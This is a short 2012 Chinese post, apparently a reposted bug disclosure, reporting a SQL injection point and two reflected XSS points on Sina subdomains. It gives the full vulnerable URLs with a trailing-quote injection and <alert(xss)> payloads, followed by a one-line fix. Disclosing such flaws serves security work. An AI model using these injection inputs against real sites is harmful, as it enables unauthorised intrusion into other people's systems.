IT技术互动交流平台

新浪无线分站Sql及两处xss

作者:蟋蟀哥哥  发布日期:2012-06-13 19:27:08
sql注入点:http://sms.sina.com.cn:80/smsapp/index.php/app/smartgame/count_download?url=http%3A%2F%2Fitunes.apple.com%2Fcn%2Fapp%2Fthe-sims-mian-fei-ban%2Fid496009190%3Fmt%3D8&aid=500309'


 

再送两枚xss: www.it165.net
http://im.sina.com.cn/report.php?uid=1268896683&retcode=0&type=1<alert(xss)>
http://you.video.sina.com.cn:80/c/<alert(xss)>

修复方案:

加强过滤验证

Tag标签: Sql   xss  
  • 专题推荐

About IT165 - 广告服务 - 隐私声明 - 版权申明 - 免责条款 - 网站地图 - 网友投稿 - 联系方式
本站内容来自于互联网,仅供用于网络技术学习,学习中请遵循相关法律法规